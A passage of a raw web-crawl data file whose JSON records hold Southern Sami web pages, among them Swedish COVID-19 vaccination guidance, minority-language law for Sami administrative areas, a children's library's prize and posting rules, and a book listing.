dle ringkh dan dov håksoejarngese. Daarpesjh viehkiem jarkoestidh, dle gihtjh gïem akt mij maahta daaroestidh. Jis sïjhth toelhkem utnedh gosse edtjh vaksijnem vaeltedh, dle tjoerh dam håksoejarngesem bïeljelidh gosse tæjmoem dangkoeh.\nGosse håksoejarngese båatah, tjoerh naan gïlle gyhtjelassh dov healsoen bïjre vaestiedidh, daate dïhte healsoetjaalege. Gyhtjelassh mejtie gaajhkem tööllh, jïh mejtie aarebi vaksijnh töölleme jallh ij.\nNaemhtie vaksineeredh\nDatne vaksijnem stratjkine gïetese åadtjoeh. Daamhtaj göökte stratjkh åadtjoeh. Dellie åadtjoeh dejtie gööktene aejkien.\nDatne åadtjoeh desnie 15 minuhth årrodh gosse dov stratjkem åådtjeme. Dïhte dan gaavhtan datnine hijven.\nGöökte våhkoej minngemes stratjken mænngan dov lea hijven vaarjelimmiem covid-19:n vööste. Dov lea gujht vaarjelimmiem voestes stratjken mænngan, læjhkan jis edtjh göökte stratjkh åadtjodh.\nDatne ih maehtieh veeljedh mij vaksijnide datne åadtjoeh.\nDov lea reakta bïevnesh hoksebarkijistie åadtjodh gosse vaksineeredh. Gihtjh jis dov naan gyhtjelassh.\nJis jarkoestimmieviehkiem daarpesjh gåessie edtjh vaksineeredidh, dle maahtah gïem akt meatan vaeltedh mij daaroste. Jis sïjhth toelhkem utnedh gosse edtjh vaksineeredidh, dle tjoerh dam dov håksoejarngesem bieljelidh gosse tæjmoem dangkoeh.\nMaahtah vaksineeredh gosse skïemtjes?\nDatne ih edtjh vaksineeredh jis dov lea vaejlie jallh covid-19:n symptomh.\nSteanedh gåetesne jih damth skiemtjeminie. Dle ih giem laanesth.\nJis dov naan covid-19 symptomh, dle edtjh teestem vaeltedh. Bïeljelh dam dov håksoejarngem gosse edtjh covid-19 teesth vaeltedh. Covid-19 teesth leah åesehts.\nLohkh vielie covid-19 bïjre Åålmehhealsoebyjjesfaamoen websæjrosne.\nGuktie mannine mænngan?\nKaanne dov gïete baektjede, åejjieh saejriedieh jïh sæjloes sjïdth voestes dygnem vaksinasjovnen mænngan. Datne maahtah aaj gåalodh, vaejliem åadtjodh jallh lïhtsh jïh åedtjieh löökieh. Dïhte lea maam gohtje lissiedåårrese.\nDah lijnies vaejvieh jïh naan biejjiej mænngan dah buaranieh.\nÅrroeh gåetesne jis dov leah symptomh.\nJis eah symptomh buaranieh dygnen mietie daarpesjh pryövenassem vedtedh.\nOvsïejhme lissiedåårresh vaksinasjovneste\nGellie millijovnh almetjh leah covid-19:n vööste vaksineereme. Naan almetjh leah itjmies lissiedåårresh åådtjeme vaksinasjovnen mænngan. Dïhte dan ovsïejhme. Dïhte stuerebe vaahra itjmies skïemtjedh covid-19:n skïemtjelassesne.\nÅejvieladtjh leah raerieh buakteme mij vaksijne ovmessie almetjh edtjieh åadtjodh. Gaajhkh vaksijnh leah eensilaakan goerehtamme.\nLohkh vielie Folkhälsomyndigheten webbesijjesne.\nReektehth lissiedåårresh vaksijneste\nDatne maahtah åejvieladtjese Läkemedelsverket reektehtidh jis datne sovmh vaejvieh vaksijneste sjidtieh. Sæjroe sveerjen gïelesne.\nAaj hoksebarkijh reektehtieh jis dah suvmieh lissiedåårresh vaksijneste sjidtieh.\nBïevnesh sovmeme lissiedåårresi bïjre tjåanghkenieh. Dan mænngan goerehtieh jis dah leah vaksijneste.\nJis nåajsan jïh vaksinasjovne\nDatne mij nåajsan maahtah itjmies skiemtjine sjïdtedh. Guktie datnem jïh maanam vaarjelidh raereste vaksinasjovnem. Datne maahtah vaksijnem åadtjodh våhkoen 12 mænngan graviditeetesne.\nGellie nåajsan nyjsenh leah vaksijnem covid-19:n vööste åådtjeme veartanisnie. Ij leah skaarah vaksijneste vuajneme maanesne tjåejjesne.\nSoptestellieh dov tsegkietnine jis dov naan gyhtjelassh.\nMaana jïh vaksinasjovne\nAlmetjidie 17 jaepieh vuj nuerebe ij vaksinasjovnem raeresth. Maanah 16 jaepien raejeste maahtah såemies aejkien vaksinasjovnem raereste, jis dah itjmies skïemtjelassem utnieh. Dïhte lea vuesiehtimmien gaavhtan sjïere itjmies gåbloeskïemtjelassh.\nSoptsestellieh dov dåaktarinie jis ussjedh mij faamosne.\nDatne mij aarebi allergijen reaksjovnem åådtjeme\nSoptsestellieh dåaktarinie jis datne aarebi allergijen reaksjovnem åådtjeme guktie tjoerih hoksem ohtsedidh seamma biejjien. Dah maehtieh årrodh vaksinasjovneste, daalhkesistie vuj maam akt maam byöpmedih.\nLea vaksijne vihties?\nVaksijne covid-19:n vööste lea vååksjeme seamma buerie vuekine goh mubpieh vaksijnh. Gellie almetjeh leah vaksijnem åådtjeme jïh dotkijh leah dah effekth goerehtamme.\nEnnje vaksijnem goerehtieh.\nDotkijh gellie laantijste lea laavenjostome vaksijnem evtiedamme. Gellie laanth jïh sïelth abpe veartanisnie leah jïjnjh beetnegh maakseme. Dan gaavhtan dan varki vaksijnem evtiedamme.\nSæjrosne Så fungerar vaccin maahtah lohkedh jïh filmh vuejnedh vaksijnen bïjre. Tekste jïh filmh leah sveerjengïelesne.\nJåerhkieh raerieh dåeriedidh guktie covid-19:n geerjehtimmiem vaenede\nDatne edtjh åejvieladtji raeride dåeriedidh aaj mænngan datne vaksijnesjovnem åådtjeme.\nDïhte göökte våhkoeh vaesieh mænngan minngemes stratjke åvteli dov lea hijven vaarjelimmiem. Dïhte onne vaahra datne skïemtjelassem åadtjoeh læjhkan datne leah vaksineereme.\nAaj onne vaahra gååvnese datne vijrusem geerjehth jïlhts ih leah skïemtjedidh, vuesiehtimmien gaavhtan jis vijrush dov gïetine.\nEah daejrieh man guhkiem vaksijne vaarjele.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.1177.se\/sma-se\/Jonkopings-lan\/other-languages\/other-languages\/covid-19\/vaccin-sydsamiska\/","date":"2021-09-28T13:10:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780060803.2\/warc\/CC-MAIN-20210928122846-20210928152846-00192.warc.gz","language":"sma","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000025033950806}","num_words":772,"character_repetition_ratio":0.071,"word_repetition_ratio":0.01,"special_characters_ratio":0.148,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nathaniel Holan Larsen\n20 jaepie, Áravuopmi\nMov nomme Nathaniel Holan Larsen, manne 20 jaepien båeries maarkasaemie Áravuopmiste Áhkánjárgan tjïeltesne. Manne saemien fuelhkeste båatam, jïh nöörjen hïejmegïeline åtnam daaroedehtemen gaavhtan. Dan gaavhtan leam noerhtesaemien lohkeme…Lohkh vielie\nAne Malene Nordeng\n23 jaepie, Ivgobahta jih Gáivuotna\nMov nomme Ane Malene Nordeng, manne 23 jaepien båeries jïh leam dovne Ivgobahteste (Skibotn) jïh Gáivuotneste (Kåfjord). Aehtjie lea Olmmáivaggeste (Manndalen), tjidtj-aahka Birtavarreste bööti, guktie stööremes ektiedimmiem Gáivuotnese åtnam,…Lohkh vielie\nIda Emilie Marakatt Lindseth\n19 jaepie, Lillestrøm\nMov nomme Ida Emelie Marakatt Lindseth jïh manne19 jaepien båeries. Manne Lillestrømesne byjjenamme, lïhke Oslon ålkolen. Manne daanhtsojne gïehtelamme mænngan lim joekoen onne, jïh dïhte iktesth mov stoerre ïedtje orreme. Manne daejnie gïehtelamme…Lohkh vielie\nEmma Elliane Oskal Valkeapää\n21 jaepie, Guovdageaidnu jih Gárasavvon\nMov nomme Emma Elliane Oskal Valkeapää, manne 21 jaepien båeries jïh Guovdageaidnuste jïh Gárasavvonistie Saepmien sveerjen bielesne båatam. Manne maana- jïh noereskuvlem Guovdageaidnusne veedtsim jïh Romsese juhtim gosse edtjim Medija jïh…Lohkh vielie","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/samiskeveivisere.no\/sma\/daan-jaepien-tsieglh\/","date":"2021-09-26T03:27:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057796.87\/warc\/CC-MAIN-20210926022920-20210926052920-00272.warc.gz","language":"sma","language_score":0.9978483319,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9978483319282532}","num_words":148,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien reeremedajve\nKraapohken tjïelte tsïengelen 1:s biejjeste 2012 saemien reeremedajvesne lea. Kraapohken ektine leah 24 jeatjah tjïelth meatan saemien reeremedajvine. Unnebelåhkoelaakesne lea aaj moenedimmieh garrebe vaarjelimmien bïjre saemien- såevmien- jïh meängïelen reeremedajvine. Aaj reeremedajvi ålkolen lea garrebe vaarjelimmiem saemien- såevmien jïh meängïelide.\nReaktam såevmiengïele, meängïele jïh saemiengïele åajvaladtji luvnie nuhtjedh:\nAajne reaktam åtna såevmiengïele, meängïele jïh aaj saemiengïele njaalmeldh jïh tjaaleldh gaskesadtemem akten reeremeåajvaladtjine gusnie geografiske darjoedajvem abpe jallh biehkie lea unnebelåhkoegïelen reeremedajvine.\nDaate lea ieride gusnie aajne lea paarhte jallh klahke paarhtese, jis ieriem gaskesem reeremedajvese åtna. Jis aajne såevmiengïelem, meängïelem jallh saemiengïelem nuhtjieh akten ieresne, åajvaladtje dïedtem åtna njaalmeldh vaestiedimmiem seamma gïelesne vedtedh (§8). Reeremeåajvaladtjh åadtjoeh sjïere boelhkh jïh sjïere sijjem nænnoestidh ihke guessiem dåastoehtidh mah såevmiengïelem, meängïelem jïh aaj saemiengïelem soptsestieh, jïh aaj sjïere telefovne tïjjh utnedh (§12).\nSåevmiengïele, meängïele jïh saemiengïele, såemies jeatjah pedagogihkedarjoe jïh voereshokse:\n17 § Reaktam aajne almetjasse såemies aejkien aarhskuvlem faaledh jïh aaj jeatjah pedagogihke hokse såevmiengïelesne, meängïelesne jallh saemiengïelesne regleeren 8 kap 12 a § och 25 kap. 5 a § skuvlelaakesne(2010:800).\nSkuvlelaake 8 kap. Aarhskuvle nasjonelle unnebelåhkoegïeline.\n12 a § Akte hïejmetjïelte mij reeremedajvesne lea numhtie guktie laakesne(2009:724)nasjonelle unnebelåhkoej bïjre jïh unnebelåhkoegïeli bïjre tjåådtje edtja maanam faaledh gosse åelie vaajtele, sijjiem aarhskuvlesne gusnie abpe jallh vihkeles biehkie ööhpehtimmesne såevmiengïelesne, meängïelesne jïh saemiengïelesne darjohten.\nÅelie mij aarhskuvlesijjien mietie altese maanese syökoe edtjieh gihtjedh jis vaajtele sijjem mij voestes biehkesne tjåådtje.\nSkuvlelaake 25 kap. Jeatjah pedagogihke darjoe.\n5a§ Akte tjïelte mij reeremedajvesne guktie laakesne nasjonelle unnebelåhkoealmetji bïjre jïh unnebelåhkoegïeli bïjre (2009:724) tjåådtje jïh jeatjah pedagogihke darjoem åtna mij 2 § jallh 5 § (2010:800) tjåådtje edtja tjohtjedh ihke maanam faaledh jis åelie vaajta, sijjiem gusnie abpe jallh vihkeles biehkie darjosne saemiengïelesne lea.\nJis tjïelte darjoem faala guktie 2 jallh 5§ tjåådtje edtja åeliem gihtjedh mij darjoen mietie syökoe jis sijjiem darjosne sæjhta mij såevmiengïelesne, meängïelesne jïh saemiengïelesne lea.\nJis akte tjïelte mij reeremedajvesne gaahpode aarhskuvlem öörnie naemhtie guktie 3 § tjåådtje edtja tjïelte, jis almetjh dan mietie gihtjieh, tjohtjedh ihke abpe jallh vihkeles biehkiem darjosne faaledh såevmiengïelesne, meängïelsene jïh saemiengïelesne.\n18 § Akte tjïelte mij reeremedajvesne edtja dïsse faaledh mij bihkede nuepiem abpe jallh vihkeles biehkiem hoksehtimmeste jïh såjhtoste voereshoksesne åadtjodh, barkijijstie mah såevmiengïele, meängïele jïh saemiengïele maehtieh.\n18a§ Akte tjïelte mij ij leah reeremedajvesne edtja dïsse faaledh mij bihkede nuepiem abpe jallh vihkeles biehkiem hoksehtimmeste jïh såjhtoste åadtjodh voereshoksesne mah faalen, barkijijstie mah såevmiengïele, jiddische, meängïele, romani chibe jïh saemiengïele maehtieh, jis tjïelte barkijh åtna daej gïelemaahtoejgujmie.\nSeamma lea akten tjïeltese mij reeremedajvesne sjïere gïeline, guktie jeatjah gïeli bïjre lea.\n18b§ Tjïelte edtja naemhtie hoksesne mij faalen guktie 18 jïh18 a §§ tjåådtje ussjedidh båeriesalmetji daerpiesvoeti bïjre, dej kulturelle identiteetem vaarjelidh.\n18c§ Tjïelte edtja bievnedh dïsse mij viehkien mietie voereshoksesne syökoe nuepiem ihke hoksehtimmiem jïh såjhtoem åadtjodh gusnie 18 jïh 18a §§ tjåådtje.\nLaake nasjonelle unnebelåhkoe jïh unnebelåhkoegïeli bïjre akten reaktam lea mij laakem vadta jïh ahte dah nasjonelle unnebelåhkoej reaktah aktem biehkiem almetji reaktijste lea.\nImplementeeringe laakeste tjïeltine, laantedigkine jïh dajvine lea dan bïjre juktie reaktide staaran darjodh jïh ij ajve daerpiesvoetide, ïedtjide jïh vaajtelidie vedtedh.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.dorotea.se\/saepmie\/saemien-reeremedajve-samiskt-foervaltningsomraade\/saemien-reeremedajve\/","date":"2021-09-21T07:33:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057199.49\/warc\/CC-MAIN-20210921070944-20210921100944-00696.warc.gz","language":"sma","language_score":0.9999896288,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999896287918091}","num_words":474,"character_repetition_ratio":0.106,"word_repetition_ratio":0.022,"special_characters_ratio":0.163,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fïerhten asken gærjah jïh plaerieh våarpobe dejtie maanide gïeh sijjen teekstide jïh guvvide sajtese åådtjeme bæjhkoehtidh. Daagkoe vuelege gyhtjelassh jïh vaastoeh gaavnh Gærja- jïh plaerievuerpien bïjre!\nGuktie Gærja- jïh plaerievuerpese meatan båatam?\nVoestes aktem åtnoenommem daarpesjh. Dan mænngan gosse maam joem seedteme jallh quiz- vaastoeh mijjese seedth maahtah rovhtese diedtedh, sïjhth meatan Gærja- jïh plaerievuerpesne årrodh. Dellie edtjh dam dov tjaalesijjiem, adressem tjaeledh, juktie daejrebe gåabph dam dov gærjam jallh plaeriem seedtedh jis vitneme. Gosse dam maam dorjeme dan sajtese beajeme dïhte goh vuerpie dennie vuerpesne! Aelhkie!\nMagkerh aamhtesh goh vuerpie Gærja- jïh plaerievuerpesne sjidtieh?\nSoptsesh, dikth, gærjasaernieh jïh guvvieh vuerpieh sjidtieh gosse aamhtesidie nænnoestamme jïh bæjhkoehtamme. Aaj vuerpiem åadtjoeh jis gaajhkh quiz-vaastoeh reakta jïh datne veeljeme dejtie dov vaastojde mijjese seedtedh.\nMan gellien aejkien maahtam aamhtesh Gærja- jïh plaerievuarpan seedtedh?\nDan gellien aejkien guktie sïjhth!\nMan båeries edtja årrodh gosse meatan Gærja- jïh plaerievuerpesne?\nGaajhkh gaskem 0 jïh 18 jaepieh!\nMij gærjide jïh plaeride våarpode?\nDah plaerieh mej gaskem maahtah veeljedh leah Kamratposten, Min häst jïh Robot. Dam orremes jallh mubpie orremes plaeriem åadtjoeh.\nFïerhten aejkien ovmessie gærjah! Dannasinie dam sïjhtebe edtjh veeljedh magkerh gærjah sïjhth jïh man båeries datne. Dellie aelhkebe mijjese mij joem buerie dutnjien veeljedh!\nJis mijjese sïjhth plaeriej jallh gærjaj bïjre saarnodh maam tuhtjh byöroe meatan vuerpesne årrodh? Tjaelieh mijjen sæjjan govlehtallemegoerine.\nMan gellien aejkien gærjah våarpode?\nFïerhten asken, men ij giesege gosse snaltjen jïh mïetsken askh akte aske. Ektesne luhkieakte vuerpieh jaepesne sjidtieh.\nGåessie askesne gærjide våarpode?\nFïerhten asken aalkoste. Vuesiehtimmien gaavhtan: suehpeden Gærja- jïh plaerievuerpie ruffien aalkoste våarpobe. Dam darjobe dannasinie gaajhkesh gïeh sijhtieh meatan vuerpesne årrodh edtjieh jaksedh mij joem dan asken bæjhkoehtidh jïh seamma nuepiem utnedh vitnedh.\nMannasinie barre gærjah jïh plaerieh våarpode?\nDannasinie mijjieh mah daennie Polarbibblosne lyjhkebe lohkedh! Jïh mijjieh sïjhtebe juekedh mijjen eeremes gærjah maam lyjhkebe lohkedh jïh dellie datnem aaj sïjhtebe viehkiehtidh orre gærjah gaavnedh maam lyjhkh. Muvhten aejkien aaj naan ierielimmieh mijjen vitnijidie seedtebe.\nJis aktem dejstie mijjen myövhkes snjåglojste sïjhth vitnedh edtjh mijjen sjïere gaahtjemi mietie veartasjidh.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.polarbibblo.se\/sma-se\/gaerja-jih-plaerievuerpie\/","date":"2021-10-26T21:44:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587926.9\/warc\/CC-MAIN-20211026200738-20211026230738-00001.warc.gz","language":"sma","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000070333480835}","num_words":330,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse\nGïelem nastedh jïh fylhkengærjagåetie aaj gueliebarkijigujmie jeatjah saemien gïeline laavenjostoeh.\nDïhte tjaebpies guvviegærja Julian lea mearoenïejte golme joekehts versjovnine båata; noerhtesaemien, julevsaemien jïh åarjelsaemien. Gærja aalkoelistie USA:ste båata jïh tjaelije Jessica Love akten baernien jïh aahkeben bïjre soptseste, jïh guktie Julian dellie maaje åådtje jïjtjemse feegredh badtsigujmie jïh gaptine, jïh mearoenïejtine domtedh. Gærja båata Saepmie Priden åvtelen mïetsken. Jarkoestæjjah leah Risten Birje Steinfjell, Ole-Fredrik Vandar jïh Berit Margrethe Oskal.\n\/\/\nGïelem nastedh og fylkesbiblioteket samarbeider også med språk-arbeidere på andre samiske språk.\nDen fine bildeboka «Julian er en havfrue» utkommer i tre ulike utgaver; på nordsamisk, lulesamisk og sørsamisk. Denne boka er opprinnelig fra USA, og forfatteren Jessica Love forteller om en gutt og hans bestemor, og om hvordan Julian endelig få lov til å pynte seg med fjær og kjole, og føle seg som en havfrue. Boka kommer ut i tide til Sapmi Pride i august. Oversetterne er Risten Birje Steinfjell, Ole-Fredrik Vandar og Berit Margrethe Oskal.\nSpesifikasjoner\nSpråk: Sørsamisk\nUtgiver: Gïelem nastedh\nISBN: ISBN 978-82-93402-00-0\nOversetter: Risten Birje Steinfjell","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/nettbutikk.saemiensijte.no\/product\/10784","date":"2021-12-02T22:36:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362297.22\/warc\/CC-MAIN-20211202205828-20211202235828-00236.warc.gz","language":"sma","language_score":0.7368943095,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.7368943095207214, \"sme_Latn_score\": 0.20546367764472961, \"nob_Latn_score\": 0.05526450648903847}","num_words":170,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":0.899,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båantagaertene 1920-låhkosne\nDaate giesietjöökte 1920-låhkoste.\nVoestes veartenedåarjoen mænngan veartenem jorkesi. Jåartaburrie aaj, men mielhkiegïetedimmie lij onneskaaline. Meierijedaajhtome idtji ennje aelkiestamme, jïh gaertenh idtjin utnieh dan jïjnjh govsh. Gïetine buhtjin jïh mielhkiem gïetedin aerpievuekien mietie. Aajne orre lij separaatore. Separaatore mielhkiem jïh gïhpem juaka. Gïhpeste voejem dorje. Ovsepareradamme mielhkeste vuastam jïh gåmpoem dorje.\nMarian fuelhkie utni separaatore giesietjöökesne; orremegåetien tjeallere.","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/nolavonda.se\/sma\/baantagaertene-1920-lahkosne","date":"2021-12-01T15:23:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964360803.6\/warc\/CC-MAIN-20211201143545-20211201173545-00343.warc.gz","language":"sma","language_score":0.9998117089,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9998117089271545}","num_words":59,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne maahtah Polarbibblom göökte vuekiej mietie provhkedh: goh nommehth, jallh goh utnije. Naemhtie dah göökte joekehtedtieh.\nNommehth\nDatne nommem webbesijjesne åadtjoeh naan bokstaavigujmie. Ih mijjese daarpesjh naan govlehtimmiebïevnesh vedtedh jïh ij gie gænnah webbesijjesne åadtjoeh daejredh gie datne, ij redaktööre jallh jeatjah maanah. Goh nommehth IH maehtieh naan bïevnesh redaktööreste åadtjodh. Eah redaktöörh maehtieh datnem gihtjedh jallh viehkiehtidh dejnie mejnie buakteme. Dan åvteste kanne naan dejstie dov aamhtesistie bæjhkoehtuvvieh. Goh nommehth ih dejtie dov aamhtesidie maehtieh spååredh jallh meatan årrodh dennie highscore-læstose Pac-Man sijjesne. Ih gænnah maehtieh meatan årrodh Gærja- jïh plaerievuerpesne jallh mijjen naan jeatjah gaahtjemisnie.\nUtnije\nJis veeljh kontom Polarbibblose tseegkedh dov mejladressen mietie gihtjebe jïh mejtie 13 jaepijste båarasåbpoe jallh nuerebe. Jis nuerebe dellie dov åelie-almetjh (dov eejhtegh) tjuerieh jååhkesjidh gosse kontom sæjjan sïjhth tseegkedh.\nKontojne maahtah åtnoenommem jïjtje veeljedh mij dov nomme sijjesne sjædta. Redaktöörh jïh jeatjah maanah dam nommem maehtieh vuejnedh. Tjoerh mujhtedh jis veeljh dam dov åvtenommem jïh hïejhtesnomme tjaeledh dellie gaajhkesh dam maehtieh vuejnedh. Ij åtnoenomme naan vesties baakoeh jallh nomme naan rïektes almetjasse åadtjoeh årrodh, v g Messi jallh Greta Thunberg. Redaktööre maahta nyöjhkedh dam dov aamhtesem bæjhkoehtidh jis dov lea åtnoenomme mij njoelkedassi vuestie lea.\nDïhte mij buerie utnijekontojne maahtah dejtie dov aamhtesidie spååredh jïh dejgujmie mænngan barkedh. Aaj maahtah redaktööride bievnedh jïh dejstie viehkiem dov aamhtesigujmie åadtjodh. Maahtah meatan årrodh highscore-læstosne Pac-Man sijjesne, meatan Gærja- jïh plaerievuerpesne årrodh jïh mijjen jeatjah gaahtjemisnie. Tjoerh mujhtedh dov åvtenommem, mejladresse jïh baahtsemebaakoe dov kontose lea bïevnesh maam ih jeatjabidie åadtjoeh vedtedh. Dellie naan jeatjah dov kontose maahta tjaangedh.\nEejhtegi luhpieh\nJis datne nuerebe enn luhkiegolmen jaepien, dellie dov eejhtegh jallh dov åelie-almetje tjuerieh luhpiedidh datne maahtah kontom Polarbibblosne darjodh. Dïhte dannasinie mijjieh dov mejladressem spåårebe. Jis datne sïjhth Gærja- jïh plaerievuerpesne jallh jeatjah gaahtjemisnie meatan årrodh dov rïektes nommem jïh adressem veajkojne spåårebe. Dah dov persovnedaata. Dov eejhtegh jallh dov åelie-almetjh tjuerieh daejredh mijjieh dov persovnedaata spåårebe. Dah aaj tjuerieh dov kontose jååhkesjidh.\nGosse dov kontom tseegkh dov eejhtegh jallh åelie-almetjh tjuerieh rovhtese dïedtedh dov Polarbibblon kontose dåhkasjieh jïh sijjen nommine jååhkesjieh.\nMaadthdarjomereakta\nGosse teekstem tjaaleme jallh guvviem guvviem dorjeme mij barre dov jïh mïsse oktegh reaktoem åtna. Ij guhte maehtieh jiehtedh dah teekstem jallh guvviem dorjeme. Datne maahtah dam dov teekstem jallh guvviem provhkedh guktie sïjhth, v g gærjam tjaeledh jïh olkese vedtedh, bloggem jallh filmem darjodh.\nGosse mijjese seedth dam maam dorjeme dellie mijjine juakah. Dellie dåajvohth Polarbibblo teekstem jïh guvviem åådtje ovmessielaakan nuhtjedh. Polarbibblo dejtie dov teekstide sijjen daatabaasine våårhkedidh, dejtie nuhtjedh v g diktetjåanghkosne, vuesiehtidh jallh jeatjahlaakan dov teekstem provhkedh dan guhkiem maam daarpesjibie jïh namhtah maaksojne.\nGæjhtoe ihke sïjhth mijjine juekedh dam maam dorjeme!\nNjoelkedassh\nPolarbibblosne muvhth njoelkedassh maam datne jïh jeatjah utnijh tjuerieh goltelidh. Dle dannasinie gaajhkesh edtjieh seadtoes sajtesne årrodh jïh damtedh buerie desnie årrodh. Njoelkedassh gååvnesieh guktie edtjh sajtem provhkedh jïh guktie desnie dåemiedidh jïh mij lea luhpie dov teekstine jïh guvvine utnedh.\nJis naan dejstie njoelkedassijste tsööpkh dellie akte redaktööre datnine båata govlehtidh. Jis gaaje geerveligke dellie dov konto maahta gaptjelostedh.\nDaesnie dah njoelkedassh guktie edtjh sajtem provhkedh jïh guktie desnie dåemiedidh.\n- Polarbibblo lea maanide 0 – 18 jaepiej gaskem. Jis båarasåbpoe jïh maam daase buakta ibie dam båetieh bæjhkoehtidh.\n- Jis kontom sajtesne tseegkh ij naan vesties baakoeh åtnoenommesne åådtje årrodh. Ij gænnah nomme naan rïektes almetjasse åadtjoeh årrodh, barre dov nommem.\n- Ih naan jeatjeben teekstem jallh guvviem åadtjoeh provhkedh jïh jiehtedh datne dam dorjeme. Dam gohtje plagiat jïh maadthdarjomereakta laaken vuestie.\n- Jis teekstem åehpies almetjen bïjre tjaala jallh guvviem destie darjoeh (v g klaassevoelpeste, åerpienistie jallh dov lohkehtæjjeste) dellie tjoerh orre nommem dejtie vedtedh olles dejtie damth. Ih åadtjoeh teeksth tjaeledh jallh guvvie stealladidh jeatjabistie daennie Polarbibblosne bielelen orre åtnoenommem dejtie vedtedh.\n- Ih dov teekstine jallh guvvine åadtjoeh jeatjah utnijidie jallh almetjidie ålkoestidh jallh dejtie jåasaridh. Ih åadtjoeh vesties aath tjaeledh jallh guvviedidh gustie almetje båata, dej religijovnen jïh åeliej bïjre, gïem lyjhkoe, jis gie naan svïhtjemeheaptoe åtna jïh man båeries.\nNjoelkedassh tjaalegidie jïh guvvide\nDah njoelkedassh gosse maam tjaeledh jïh guvviedidh ånnetje joekehtedtieh. Mijjieh sïjhtebe datne åadtjoeh dov aarkebiejjien bïjre soptsestidh jïh dagkerh mestie murredh. Dannasinie luhpiem åtnah dovne iskeres jïh isvelihks aati bïjre tjaeledh, jïh aati bïjre mestie skaamesjh, v g dåaroeh, julmies dahkoeh jïh karaktærh jaemieh. Men dellie aaj edtja vihkeles årrodh dïsse mïsse sïjhth soptsestidh. Ij dannasinie sïjhth gïem håjnoedidh jallh guhte edtja skaamasjadtedh. Vuesiehtimmien gaavhtan: åadtjoeh soptsesem tjaeledh gusnie gie irhkesåvva jis sïjhth vuesiehtidh guktie irhkeme maahta årrodh. Men IH ÅADTJOEH soptsesem tjaeledh gusnie guhte irhkesåvvaeldh dan åvteste datne tuhtjh dïhte luste jallh rantan gaavhtan.\nJis daejtie njoelkedasside tsööpkh redaktööre gie dov aamhtesem vuartesje datnem stillie dov tjaalegem jeatjahtehtedh. Dåtnoeh ektesne berkeden tjaalegem buektedh mejtie gåarede bæjhkoehtidh. Jis lea guvvie mij njoelkedasside tsööpkie ij dam maehtieh bæjhkoehtidh.\nAaj njoelkedassh gååvnesieh maam IH GÆNNAH sajtese åadtjoeh tjaeledh jallh guvviedidh:\n- Rasistiske jïh vesties aati bïjre. V g dagkerh gustie almetjh båetieh, dej religijovne, dej tjoele, gïem lyjhkoe, jis naan svïhtjemeheaptoem utnieh jallh man båeries.\n- Sex, tjommh, deampah jïh nemhtie vielie\n- Vïrre mij leajpeske jïh dagkerh julmies dahkoej bïjre jïh jaemede\n- Vesties gyrredimmieh jallh tjoelebaakoeh (men dagkerh gyrredimmieh mah ij man an vestie maahta tjaeledh, goh bajhke, haatjen jïh dagkerh)\nJis ih rikti daejrieh jis dam maam sïjhth soptsestidh mijjen njoelkedassi vuestie maahta mijjine govlehtidh daesnie mijjen govlehtallemegoerine. Redaktööre aaj maahta datnine soptsestidh gosse dov tjaalegem jallh guvviem vuartasjieh.\nUtnijem skuvlesne tseegkedh\nGosse datne lohkehtæjjine sïjhth Polarbibblom skuvlesne provhkedh dellie aaj datne gïeh utnijekontom tseegkh. Dah dov persovnebïevnesh mah dellie spååresuvvieh leah dov mejladresse. Barre aktem kontom fïerhten mejladressese gåarede utnedh, juktie tjoerh veele ussjedidh magkerh utnijenommem veeljh. Maadthdarjomereaktam dejtie aamhtesidie mah dov lohkehtæjjakontose seedtesuvvieh kollektijve sjidtieh.\nJïjtse maadthdarjomereakta learoehkasse\nSïjhth maana gie teekstem tjaala edtja jïjtse maadthdarjomereaktam teekstese utnedh dellie tjoerede aktem vielie momeentem darjodh. Darjoejidie naemhtie: Baajh fïerhten maana aktem aliasnommem veeljedh maam skuvlesne spååroe. Orrijh fïerhtem aamhtesem jïh tjaelieh 